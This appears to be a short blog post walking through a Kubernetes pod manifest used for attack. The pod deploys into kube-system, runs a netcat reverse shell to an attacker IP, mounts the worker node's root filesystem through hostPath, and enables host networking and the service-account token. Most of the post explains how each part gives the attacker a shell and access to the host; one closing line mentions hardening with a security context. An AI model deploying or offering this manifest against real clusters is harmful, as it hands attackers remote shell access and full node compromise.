Kubernetes YAML for Reverse-Shell and Map Root

Hi friends,

This configuration assumes that you have anough privilege to deploy pod to the cluster. There are many ways to gather initial information propbably by exploiting one of the application.

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: localhost:5000/dev-alpine
    command: ["/bin/sh"]
    args: ["-c", 'nc 10.10.17.141 90 -e /bin/sh']
    volumeMounts:
    - mountPath: /root/
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

There are some important point in the above configuration that enable to initiate the reverse connection and mount the root folder of the worker node

name: alpine
    image: localhost:5000/dev-alpine
    command: ["/bin/sh"]
    args: ["-c", 'nc 10.10.17.141 90 -e /bin/sh']

The above snippet is to configure which registry the image will be downloaded from (localhost:5000/dev-alpine), So if you have had a preffered image that hosted somewhere in the internet or LAN then you can specify your own docker registry

After you specify the docker name then the next is to specify the command that you want to trigger right after the pod is deployed to the cluster using command : [“/bin/sh”] and args: [“-c”, ‘nc 10.10.17.141 90 -e /bin/sh’]. 10.10.17.141 is your machine which is listening for the connection callback

The next thing to do is to map the worker node (host) to the pod. In kubernetes, if you do not specify the security context then the pod will be deployed as root which make the user in the pod able to map the host filesystem

volumeMounts:
    - mountPath: /root/
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /

The above code is where the mapping configuration defined. You need to specify where the mount point directory will appear in the pod. We mount the file system to /root in the filesystem

So based on the above YAML configuration we are able to get the reverseshell and able to browse to the worker node filesystem

It is good to consider to harden the deployment by spefiying the security context so that the Pod will not run as root

Deep Dive into Kubernetes - Part 2

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s